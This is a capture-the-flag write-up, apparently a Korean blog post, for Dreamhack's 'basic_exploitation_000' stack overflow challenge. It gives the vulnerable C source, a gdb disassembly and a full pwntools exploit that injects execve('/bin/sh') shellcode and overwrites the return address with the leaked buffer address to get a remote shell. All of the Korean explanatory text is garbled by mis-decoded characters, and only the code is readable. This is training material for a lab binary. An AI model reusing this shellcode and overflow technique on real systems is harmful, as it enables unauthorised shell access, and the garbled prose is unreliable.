[Dreamhack] basic_exploitation_000

๊น€์„ฑ์ง„ยท2022๋…„ 7์›” 14์ผ
0

Dreamhack_System

๋ชฉ๋ก ๋ณด๊ธฐ
2/44

๐Ÿ“’ Description

๋ณดํ˜ธ๊ธฐ๋ฒ•๋“ค์€ ์ ์šฉ๋˜์–ด์žˆ์ง€ ์•Š์€ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.


๐Ÿ“’ C code

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

๋ถ„์„์„ ํ•ด๋ณด์ž. ๋จผ์ € buf์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๋ ค์ฃผ๊ณ  ์žˆ๋‹ค. stack์„ ๋”ฐ๋กœ leakํ•  ํ•„์š”๋Š” ์—†์„ ๊ฒƒ ๊ฐ™๋‹ค.
์ดํ›„ 141๋ฐ”์ดํŠธ๋ฅผ ๋ฐ›์œผ๋ฏ€๋กœ BOF๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค. (0x80์€ 128์ด๋‹ค.)
๋งŒ์•ฝ buf์™€ SFP ์‚ฌ์ด์— dummy๊ฐ€ ํฌ์ง€ ์•Š๋‹ค๋ฉด RET๋ฅผ buf๋กœ ๋ฎ์„ ์ˆ˜ ์žˆ๊ฒ ๋‹ค.
์Šคํƒ์— ์‹คํ–‰๊ถŒํ•œ์ด ์žˆ์œผ๋ฏ€๋กœ buf์— shellcode๋ฅผ ๋„ฃ์œผ๋ฉด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฌ๊ฒŒ ๋  ๊ฒƒ ๊ฐ™๋‹ค.


๐Ÿ“’ Debugging

dummy๋ฅผ ํ™•์ธํ•ด๋ณด์ž.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x080485d9 <+0>:		push   ebp
   0x080485da <+1>:		mov    ebp,esp
   0x080485dc <+3>:		add    esp,0xffffff80
   0x080485df <+6>:		call   0x8048592 <initialize>
   0x080485e4 <+11>:	lea    eax,[ebp-0x80]
   0x080485e7 <+14>:	push   eax
   0x080485e8 <+15>:	push   0x8048699
   0x080485ed <+20>:	call   0x80483f0 <printf@plt>
   0x080485f2 <+25>:	add    esp,0x8
   0x080485f5 <+28>:	lea    eax,[ebp-0x80]
   0x080485f8 <+31>:	push   eax
   0x080485f9 <+32>:	push   0x80486a5
   0x080485fe <+37>:	call   0x8048460 <__isoc99_scanf@plt>
   0x08048603 <+42>:	add    esp,0x8
   0x08048606 <+45>:	mov    eax,0x0
   0x0804860b <+50>:	leave  
   0x0804860c <+51>:	ret    
End of assembler dump.

scanf๋ฅผ ๋ฐ›์„ ๋•Œ [ebp-0x80]์„ eax์— ๋„ฃ๊ณ  pushํ•˜๋Š” ์ ์œผ๋กœ ๋ณด์•„ dummy๋Š” ์—†์Œ์ด ํ™•์ธ๋œ๋‹ค.


๐Ÿ“’ Exploit

shellcode๋Š” 26byte์ด๋‹ค.

exploit.py

from pwn import *

shellcode = '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80' #26byte

p = remote('host3.dreamhack.games', 15331)
p.recvuntil('buf = (')
buf_addr = int(p.recvline()[:-2], 16)

payload = shellcode + 'A' * (132-26) + p32(buf_addr)
p.send(payload)
p.interactive()

ํ•ด๊ฒฐ๋œ๋‹ค.

0๊ฐœ์˜ ๋Œ“๊ธ€